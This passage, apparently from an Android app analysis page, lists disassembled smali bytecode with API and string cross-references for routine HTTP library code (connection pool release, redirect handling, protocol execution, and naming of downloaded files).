        44invoke-virtual {p2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        46invoke-virtual {p5, p3, p4}, Ljava/util/concurrent/TimeUnit;->toMillis(J)J
        47move-result-wide p3
        48try_end_43: long-to-double p3, p3
        49const-wide v4, 0x408f400000000000L # 1000.0
        51invoke-static {p3, p4}, Ljava/lang/Double;->isNaN(D)Z
        52div-double/2addr p3, v4
        53try_start_4d:
        54invoke-virtual {p2, p3, p4}, Ljava/lang/StringBuilder;->append(D)Ljava/lang/StringBuilder;
        56const-string p3, " seconds"
        58invoke-virtual {p2, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        60invoke-virtual {p2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        61move-result-object p2
        62goto/16 :goto_5c
        63cond_5a:
        64const-string p2, "indefinitely"
        65goto_5c:
        66iget-object p3, p0, Lcz/msebera/android/httpclient/impl/conn/PoolingHttpClientConnectionManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        67new-instance p4, Ljava/lang/StringBuilder;
        69invoke-direct {p4}, Ljava/lang/StringBuilder;-><init>()V
        71const-string p5, "Connection "
        73invoke-virtual {p4, p5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        75invoke-direct {p0, v0}, Lcz/msebera/android/httpclient/impl/conn/PoolingHttpClientConnectionManager;->format(Lcz/msebera/android/httpclient/impl/conn/CPoolEntry;)Ljava/lang/String;
        76move-result-object p5
        78invoke-virtual {p4, p5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        80const-string p5, " can be kept alive "
        82invoke-virtual {p4, p5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        84invoke-virtual {p4, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        86invoke-virtual {p4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        87move-result-object p2
        89invoke-virtual {p3, p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        90cond_7e:
        91iget-object p2, p0, Lcz/msebera/android/httpclient/impl/conn/PoolingHttpClientConnectionManager;->pool:Lcz/msebera/android/httpclient/impl/conn/CPool;
        93invoke-interface {v1}, Lcz/msebera/android/httpclient/conn/ManagedHttpClientConnection;->isOpen()Z
        94move-result p3
        95if-eqz p3, :cond_8d
        97invoke-virtual {v0}, Lcz/msebera/android/httpclient/impl/conn/CPoolEntry;->isRouteComplete()Z
        98move-result p3
        99if-eqz p3, :cond_8d
        100goto/16 :goto_8e
        101cond_8d: const/4 v2, 0x0
        102goto_8e:
        103invoke-virtual {p2, v0, v2}, Lcz/msebera/android/httpclient/impl/conn/CPool;->release(Lcz/msebera/android/httpclient/pool/PoolEntry;Z)V
        105iget-object p2, p0, Lcz/msebera/android/httpclient/impl/conn/PoolingHttpClientConnectionManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        107invoke-virtual {p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        108move-result p2
        109if-eqz p2, :cond_c0
        111iget-object p2, p0, Lcz/msebera/android/httpclient/impl/conn/PoolingHttpClientConnectionManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        112new-instance p3, Ljava/lang/StringBuilder;
        114invoke-direct {p3}, Ljava/lang/StringBuilder;-><init>()V
        116const-string p4, "Connection released: "
        118invoke-virtual {p3, p4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        120invoke-direct {p0, v0}, Lcz/msebera/android/httpclient/impl/conn/PoolingHttpClientConnectionManager;->format(Lcz/msebera/android/httpclient/impl/conn/CPoolEntry;)Ljava/lang/String;
        121move-result-object p4
        123invoke-virtual {p3, p4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        125invoke-virtual {v0}, Lcz/msebera/android/httpclient/impl/conn/CPoolEntry;->getRoute()Ljava/lang/Object;
        126move-result-object p4
        127check-cast p4, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        129invoke-direct {p0, p4}, Lcz/msebera/android/httpclient/impl/conn/PoolingHttpClientConnectionManager;->formatStats(Lcz/msebera/android/httpclient/conn/routing/HttpRoute;)Ljava/lang/String;
        130move-result-object p4
        132invoke-virtual {p3, p4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        134invoke-virtual {p3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        135move-result-object p3
        137invoke-virtual {p2, p3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        138cond_c0: monitor-exit p1
        139return-void
        140catchall_c2: move-exception p2
        142iget-object p3, p0, Lcz/msebera/android/httpclient/impl/conn/PoolingHttpClientConnectionManager;->pool:Lcz/msebera/android/httpclient/impl/conn/CPool;
        144invoke-interface {v1}, Lcz/msebera/android/httpclient/conn/ManagedHttpClientConnection;->isOpen()Z
        145move-result p4
        146if-eqz p4, :cond_d2
        148invoke-virtual {v0}, Lcz/msebera/android/httpclient/impl/conn/CPoolEntry;->isRouteComplete()Z
        149move-result p4
        150if-eqz p4, :cond_d2
        151goto/16 :goto_d3
        152cond_d2: const/4 v2, 0x0
        153goto_d3:
        154invoke-virtual {p3, v0, v2}, Lcz/msebera/android/httpclient/impl/conn/CPool;->release(Lcz/msebera/android/httpclient/pool/PoolEntry;Z)V
        156iget-object p3, p0, Lcz/msebera/android/httpclient/impl/conn/PoolingHttpClientConnectionManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        158invoke-virtual {p3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        159move-result p3
        160if-eqz p3, :cond_105
        162iget-object p3, p0, Lcz/msebera/android/httpclient/impl/conn/PoolingHttpClientConnectionManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        163new-instance p4, Ljava/lang/StringBuilder;
        165invoke-direct {p4}, Ljava/lang/StringBuilder;-><init>()V
        167const-string p5, "Connection released: "
        169invoke-virtual {p4, p5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        171invoke-direct {p0, v0}, Lcz/msebera/android/httpclient/impl/conn/PoolingHttpClientConnectionManager;->format(Lcz/msebera/android/httpclient/impl/conn/CPoolEntry;)Ljava/lang/String;
        172move-result-object p5
        174invoke-virtual {p4, p5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        176invoke-virtual {v0}, Lcz/msebera/android/httpclient/impl/conn/CPoolEntry;->getRoute()Ljava/lang/Object;
        177move-result-object p5
        178check-cast p5, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        180invoke-direct {p0, p5}, Lcz/msebera/android/httpclient/impl/conn/PoolingHttpClientConnectionManager;->formatStats(Lcz/msebera/android/httpclient/conn/routing/HttpRoute;)Ljava/lang/String;
        181move-result-object p5
        183invoke-virtual {p4, p5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        185invoke-virtual {p4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        186move-result-object p4
        188invoke-virtual {p3, p4}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        189cond_105: throw p2
        190catchall_106: move-exception p2
        191monitor-exit p1
        192try_end_108: throw p2
        Cross References
        APIs
        • java.io.File.isDirectory
        • java.net.URI.toString
        • java.lang.String.lastIndexOf
        • java.lang.String.length
        • java.lang.String.substring
        • java.io.File.<init>
        • java.io.File.exists
        • java.lang.String.contains
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.String.lastIndexOf
        • java.lang.String.substring
        • java.lang.StringBuilder.append
        • java.lang.String.lastIndexOf
        • java.lang.String.length
        • java.lang.String.substring
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.Integer.valueOf
        • java.lang.String.format
        • java.io.File.<init>
        • java.io.File.exists
        Strings
        • Target file is not a directory, cannot proceed
        • RequestURI is null, cannot proceed
        • .
        • (%d)
        Position Instruction Meta Information
        1invoke-virtual {p0}, Lcom/loopj/android/http/FileAsyncHttpResponseHandler;->getOriginalFile()Ljava/io/File;
        2move-result-object v0
        4invoke-virtual {v0}, Ljava/io/File;->isDirectory()Z
        5move-result v0
        7const-string v1, "Target file is not a directory, cannot proceed"
        9invoke-static {v0, v1}, Lcom/loopj/android/http/Utils;->asserts(ZLjava/lang/String;)V
        11invoke-virtual {p0}, Lcom/loopj/android/http/FileAsyncHttpResponseHandler;->getRequestURI()Ljava/net/URI;
        12move-result-object v0
        13const/4 v1, 0x0
        14const/4 v2, 0x1
        15if-eqz v0, :cond_17
        16const/4 v0, 0x1
        17goto/16 :goto_18
        18cond_17: const/4 v0, 0x0
        19goto_18:
        20const-string v3, "RequestURI is null, cannot proceed"
        22invoke-static {v0, v3}, Lcom/loopj/android/http/Utils;->asserts(ZLjava/lang/String;)V
        24invoke-virtual {p0}, Lcom/loopj/android/http/FileAsyncHttpResponseHandler;->getRequestURI()Ljava/net/URI;
        25move-result-object v0
        27invoke-virtual {v0}, Ljava/net/URI;->toString()Ljava/lang/String;
        28move-result-object v0
        29const/16 v3, 0x2f
        31invoke-virtual {v0, v3}, Ljava/lang/String;->lastIndexOf(I)I
        32move-result v3
        33add-int/2addr v3, v2
        35invoke-virtual {v0}, Ljava/lang/String;->length()I
        36move-result v4
        38invoke-virtual {v0, v3, v4}, Ljava/lang/String;->substring(II)Ljava/lang/String;
        39move-result-object v0
        40new-instance v3, Ljava/io/File;
        42invoke-virtual {p0}, Lcom/loopj/android/http/FileAsyncHttpResponseHandler;->getOriginalFile()Ljava/io/File;
        43move-result-object v4
        45invoke-direct {v3, v4, v0}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
        47invoke-virtual {v3}, Ljava/io/File;->exists()Z
        48move-result v4
        49if-eqz v4, :cond_ab
        50iget-boolean v4, p0, Lcom/loopj/android/http/FileAsyncHttpResponseHandler;->renameIfExists:Z
        51if-eqz v4, :cond_ab
        53const-string v3, "."
        55invoke-virtual {v0, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
        56move-result v3
        57if-nez v3, :cond_61
        58new-instance v3, Ljava/lang/StringBuilder;
        60invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
        62invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        64const-string v0, " (%d)"
        66invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        68invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        69move-result-object v0
        70goto/16 :goto_8b
        71cond_61: new-instance v3, Ljava/lang/StringBuilder;
        73invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
        74const/16 v4, 0x2e
        76invoke-virtual {v0, v4}, Ljava/lang/String;->lastIndexOf(I)I
        77move-result v5
        79invoke-virtual {v0, v1, v5}, Ljava/lang/String;->substring(II)Ljava/lang/String;
        80move-result-object v5
        82invoke-virtual {v3, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        84const-string v5, " (%d)"
        86invoke-virtual {v3, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        88invoke-virtual {v0, v4}, Ljava/lang/String;->lastIndexOf(I)I
        89move-result v4
        91invoke-virtual {v0}, Ljava/lang/String;->length()I
        92move-result v5
        94invoke-virtual {v0, v4, v5}, Ljava/lang/String;->substring(II)Ljava/lang/String;
        95move-result-object v0
        97invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        99invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        100move-result-object v0
        101goto_8b: const/4 v3, 0x0
        102goto_8c: new-instance v4, Ljava/io/File;
        104invoke-virtual {p0}, Lcom/loopj/android/http/FileAsyncHttpResponseHandler;->getOriginalFile()Ljava/io/File;
        105move-result-object v5
        106new-array v6, v2, [Ljava/lang/Object;
        108invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
        109move-result-object v7
        110aput-object v7, v6, v1
        112invoke-static {v0, v6}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
        113move-result-object v6
        115invoke-direct {v4, v5, v6}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
        117invoke-virtual {v4}, Ljava/io/File;->exists()Z
        118move-result v5
        119if-nez v5, :cond_a8
        120return-object v4
        121cond_a8: add-int/lit8 v3, v3, 0x1
        122goto/16 :goto_8c
        123cond_ab: return-object v3
        APIs
        • java.util.List.clear
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.ProtocolException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.client.RedirectException.<init>
        Strings
        • HTTP route
        • HTTP request
        • HTTP context
        • Resetting target auth state
        • Resetting proxy auth state
        • Redirecting to \'
        • \' via
        • Redirect URI does not specify a valid host name:
        • Maximum redirects (
        • ) exceeded
        • I/O error while releasing connection
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;,
        3Lcz/msebera/android/httpclient/HttpException;
        4}
        5.end annotation
        7const-string v0, "HTTP route"
        9invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        11const-string v0, "HTTP request"
        13invoke-static {p2, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        15const-string v0, "HTTP context"
        17invoke-static {p3, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        19invoke-virtual {p3}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->getRedirectLocations()Ljava/util/List;
        20move-result-object v0
        21if-eqz v0, :cond_18
        23invoke-interface {v0}, Ljava/util/List;->clear()V
        24cond_18:
        25invoke-virtual {p3}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->getRequestConfig()Lcz/msebera/android/httpclient/client/config/RequestConfig;
        26move-result-object v0
        28invoke-virtual {v0}, Lcz/msebera/android/httpclient/client/config/RequestConfig;->getMaxRedirects()I
        29move-result v1
        30if-lez v1, :cond_27
        32invoke-virtual {v0}, Lcz/msebera/android/httpclient/client/config/RequestConfig;->getMaxRedirects()I
        33move-result v1
        34goto/16 :goto_29
        35cond_27: const/16 v1, 0x32
        36goto_29: const/4 v2, 0x0
        37move-object v2, p2
        38const/4 v3, 0x0
        39goto_2c:
        40iget-object v4, p0, Lcz/msebera/android/httpclient/impl/execchain/RedirectExec;->requestExecutor:Lcz/msebera/android/httpclient/impl/execchain/ClientExecChain;
        42invoke-interface {v4, p1, v2, p3, p4}, Lcz/msebera/android/httpclient/impl/execchain/ClientExecChain;->execute(Lcz/msebera/android/httpclient/conn/routing/HttpRoute;Lcz/msebera/android/httpclient/client/methods/HttpRequestWrapper;Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;Lcz/msebera/android/httpclient/client/methods/HttpExecutionAware;)Lcz/msebera/android/httpclient/client/methods/CloseableHttpResponse;
        43move-result-object v4
        44try_start_32:
        45invoke-virtual {v0}, Lcz/msebera/android/httpclient/client/config/RequestConfig;->isRedirectsEnabled()Z
        46move-result v5
        47if-eqz v5, :cond_118
        49iget-object v5, p0, Lcz/msebera/android/httpclient/impl/execchain/RedirectExec;->redirectStrategy:Lcz/msebera/android/httpclient/client/RedirectStrategy;
        51invoke-interface {v5, v2, v4, p3}, Lcz/msebera/android/httpclient/client/RedirectStrategy;->isRedirected(Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/protocol/HttpContext;)Z
        52move-result v5
        53if-eqz v5, :cond_118
        54if-ge v3, v1, :cond_fc
        55add-int/lit8 v3, v3, 0x1
        57iget-object v5, p0, Lcz/msebera/android/httpclient/impl/execchain/RedirectExec;->redirectStrategy:Lcz/msebera/android/httpclient/client/RedirectStrategy;
        59invoke-interface {v5, v2, v4, p3}, Lcz/msebera/android/httpclient/client/RedirectStrategy;->getRedirect(Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/protocol/HttpContext;)Lcz/msebera/android/httpclient/client/methods/HttpUriRequest;
        60move-result-object v2
        62invoke-interface {v2}, Lcz/msebera/android/httpclient/HttpRequest;->headerIterator()Lcz/msebera/android/httpclient/HeaderIterator;
        63move-result-object v5
        65invoke-interface {v5}, Lcz/msebera/android/httpclient/HeaderIterator;->hasNext()Z
        66move-result v5
        67if-nez v5, :cond_5f
        69invoke-virtual {p2}, Lcz/msebera/android/httpclient/client/methods/HttpRequestWrapper;->getOriginal()Lcz/msebera/android/httpclient/HttpRequest;
        70move-result-object v5
        72invoke-interface {v5}, Lcz/msebera/android/httpclient/HttpRequest;->getAllHeaders()[Lcz/msebera/android/httpclient/Header;
        73move-result-object v5
        75invoke-interface {v2, v5}, Lcz/msebera/android/httpclient/HttpRequest;->setHeaders([Lcz/msebera/android/httpclient/Header;)V
        76cond_5f:
        77invoke-static {v2}, Lcz/msebera/android/httpclient/client/methods/HttpRequestWrapper;->wrap(Lcz/msebera/android/httpclient/HttpRequest;)Lcz/msebera/android/httpclient/client/methods/HttpRequestWrapper;
        78move-result-object v2
        79instance-of v5, v2, Lcz/msebera/android/httpclient/HttpEntityEnclosingRequest;
        80if-eqz v5, :cond_6d
        81move-object v5, v2
        82check-cast v5, Lcz/msebera/android/httpclient/HttpEntityEnclosingRequest;
        84invoke-static {v5}, Lcz/msebera/android/httpclient/impl/execchain/RequestEntityProxy;->enhance(Lcz/msebera/android/httpclient/HttpEntityEnclosingRequest;)V
        85cond_6d:
        86invoke-virtual {v2}, Lcz/msebera/android/httpclient/client/methods/HttpRequestWrapper;->getURI()Ljava/net/URI;
        87move-result-object v5
        89invoke-static {v5}, Lcz/msebera/android/httpclient/client/utils/URIUtils;->extractHost(Ljava/net/URI;)Lcz/msebera/android/httpclient/HttpHost;
        90move-result-object v6
        91if-eqz v6, :cond_e5
        93invoke-virtual {p1}, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->getTargetHost()Lcz/msebera/android/httpclient/HttpHost;
        94move-result-object p1
        96invoke-virtual {p1, v6}, Lcz/msebera/android/httpclient/HttpHost;->equals(Ljava/lang/Object;)Z
        97move-result p1
        98if-nez p1, :cond_ad
        100invoke-virtual {p3}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->getTargetAuthState()Lcz/msebera/android/httpclient/auth/AuthState;
        101move-result-object p1
        102if-eqz p1, :cond_91
        104iget-object v7, p0, Lcz/msebera/android/httpclient/impl/execchain/RedirectExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        106const-string v8, "Resetting target auth state"
        108invoke-virtual {v7, v8}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        110invoke-virtual {p1}, Lcz/msebera/android/httpclient/auth/AuthState;->reset()V
        111cond_91:
        112invoke-virtual {p3}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->getProxyAuthState()Lcz/msebera/android/httpclient/auth/AuthState;
        113move-result-object p1
        114if-eqz p1, :cond_ad
        116invoke-virtual {p1}, Lcz/msebera/android/httpclient/auth/AuthState;->getAuthScheme()Lcz/msebera/android/httpclient/auth/AuthScheme;
        117move-result-object v7
        118if-eqz v7, :cond_ad
        120invoke-interface {v7}, Lcz/msebera/android/httpclient/auth/AuthScheme;->isConnectionBased()Z
        121move-result v7
        122if-eqz v7, :cond_ad
        124iget-object v7, p0, Lcz/msebera/android/httpclient/impl/execchain/RedirectExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        126const-string v8, "Resetting proxy auth state"
        128invoke-virtual {v7, v8}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        130invoke-virtual {p1}, Lcz/msebera/android/httpclient/auth/AuthState;->reset()V
        131cond_ad:
        132iget-object p1, p0, Lcz/msebera/android/httpclient/impl/execchain/RedirectExec;->routePlanner:Lcz/msebera/android/httpclient/conn/routing/HttpRoutePlanner;
        134invoke-interface {p1, v6, v2, p3}, Lcz/msebera/android/httpclient/conn/routing/HttpRoutePlanner;->determineRoute(Lcz/msebera/android/httpclient/HttpHost;Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/protocol/HttpContext;)Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        135move-result-object p1
        137iget-object v6, p0, Lcz/msebera/android/httpclient/impl/execchain/RedirectExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        139invoke-virtual {v6}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        140move-result v6
        141if-eqz v6, :cond_d9
        143iget-object v6, p0, Lcz/msebera/android/httpclient/impl/execchain/RedirectExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        144new-instance v7, Ljava/lang/StringBuilder;
        146invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V
        148const-string v8, "Redirecting to \'"
        150invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        152invoke-virtual {v7, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        154const-string v5, "\' via "
        156invoke-virtual {v7, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        158invoke-virtual {v7, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        160invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        161move-result-object v5
        163invoke-virtual {v6, v5}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        164cond_d9:
        165invoke-interface {v4}, Lcz/msebera/android/httpclient/client/methods/CloseableHttpResponse;->getEntity()Lcz/msebera/android/httpclient/HttpEntity;
        166move-result-object v5
        168invoke-static {v5}, Lcz/msebera/android/httpclient/util/EntityUtils;->consume(Lcz/msebera/android/httpclient/HttpEntity;)V
        170invoke-interface {v4}, Lcz/msebera/android/httpclient/client/methods/CloseableHttpResponse;->close()V
        171goto/16 :goto_2c
        172cond_e5: new-instance p1, Lcz/msebera/android/httpclient/ProtocolException;
        173new-instance p2, Ljava/lang/StringBuilder;
        175invoke-direct {p2}, Ljava/lang/StringBuilder;-><init>()V
        177const-string p3, "Redirect URI does not specify a valid host name: "
        179invoke-virtual {p2, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        181invoke-virtual {p2, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        183invoke-virtual {p2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        184move-result-object p2
        186invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/ProtocolException;-><init>(Ljava/lang/String;)V
        187throw p1
        188cond_fc: new-instance p1, Lcz/msebera/android/httpclient/client/RedirectException;
        189new-instance p2, Ljava/lang/StringBuilder;
        191invoke-direct {p2}, Ljava/lang/StringBuilder;-><init>()V
        193const-string p3, "Maximum redirects ("
        195invoke-virtual {p2, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        197invoke-virtual {p2, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        199const-string p3, ") exceeded"
        201invoke-virtual {p2, p3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        203invoke-virtual {p2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        204move-result-object p2
        206invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/client/RedirectException;-><init>(Ljava/lang/String;)V
        207throw p1
        208cond_118: return-object v4
        209catch_119: move-exception p1
        210try_start_11a:
        211invoke-interface {v4}, Lcz/msebera/android/httpclient/client/methods/CloseableHttpResponse;->getEntity()Lcz/msebera/android/httpclient/HttpEntity;
        212move-result-object p2
        214invoke-static {p2}, Lcz/msebera/android/httpclient/util/EntityUtils;->consume(Lcz/msebera/android/httpclient/HttpEntity;)V
        215try_end_121:
        216invoke-interface {v4}, Lcz/msebera/android/httpclient/client/methods/CloseableHttpResponse;->close()V
        217goto/16 :goto_130
        218catchall_125: move-exception p1
        219goto/16 :goto_131
        220catch_127: move-exception p2
        221try_start_128:
        222iget-object p3, p0, Lcz/msebera/android/httpclient/impl/execchain/RedirectExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        224const-string p4, "I/O error while releasing connection"
        226invoke-virtual {p3, p4, p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;Ljava/lang/Throwable;)V
        227try_end_12f: goto/16 :goto_121
        228goto_130: throw p1
        229goto_131:
        230invoke-interface {v4}, Lcz/msebera/android/httpclient/client/methods/CloseableHttpResponse;->close()V
        231throw p1
        232catch_135: move-exception p1
        234invoke-interface {v4}, Lcz/msebera/android/httpclient/client/methods/CloseableHttpResponse;->close()V
        235throw p1
        236catch_13a: move-exception p1
        238invoke-interface {v4}, Lcz/msebera/android/httpclient/client/methods/CloseableHttpResponse;->close()V
        239throw p1
        APIs
        • java.net.URI.create
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.net.URI.isAbsolute
        • java.net.URI.getHost
        • java.net.URI.getPort
        • java.net.URI.getScheme
        • java.net.URI.getUserInfo
        Strings
        • HTTP route
        • HTTP request
        • HTTP context
        • Unable to parse \'
        • \' as a valid URI;
        • request URI and Host header may be inconsistent
        • http.virtual-host
        • Using virtual host
        • http.target_host
        • http.route
        • http.request
        • http.response
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Ljava/io/IOException;,
        3Lcz/msebera/android/httpclient/HttpException;
        4}
        5.end annotation
        7const-string v0, "HTTP route"
        9invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        11const-string v0, "HTTP request"
        13invoke-static {p2, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        15const-string v0, "HTTP context"
        17invoke-static {p3, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        19invoke-virtual {p2}, Lcz/msebera/android/httpclient/client/methods/HttpRequestWrapper;->getOriginal()Lcz/msebera/android/httpclient/HttpRequest;
        20move-result-object v0
        21instance-of v1, v0, Lcz/msebera/android/httpclient/client/methods/HttpUriRequest;
        22const/4 v2, 0x0
        23if-eqz v1, :cond_1f
        24check-cast v0, Lcz/msebera/android/httpclient/client/methods/HttpUriRequest;
        26invoke-interface {v0}, Lcz/msebera/android/httpclient/client/methods/HttpUriRequest;->getURI()Ljava/net/URI;
        27move-result-object v0
        28goto/16 :goto_57
        29cond_1f:
        30invoke-interface {v0}, Lcz/msebera/android/httpclient/HttpRequest;->getRequestLine()Lcz/msebera/android/httpclient/RequestLine;
        31move-result-object v0
        33invoke-interface {v0}, Lcz/msebera/android/httpclient/RequestLine;->getUri()Ljava/lang/String;
        34move-result-object v0
        35try_start_27:
        36invoke-static {v0}, Ljava/net/URI;->create(Ljava/lang/String;)Ljava/net/URI;
        37move-result-object v1
        38try_end_2b: move-object v0, v1
        39goto/16 :goto_57
        40catch_2d: move-exception v1
        42iget-object v3, p0, Lcz/msebera/android/httpclient/impl/execchain/ProtocolExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        44invoke-virtual {v3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        45move-result v3
        46if-eqz v3, :cond_56
        48iget-object v3, p0, Lcz/msebera/android/httpclient/impl/execchain/ProtocolExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        49new-instance v4, Ljava/lang/StringBuilder;
        51invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
        53const-string v5, "Unable to parse \'"
        55invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        57invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
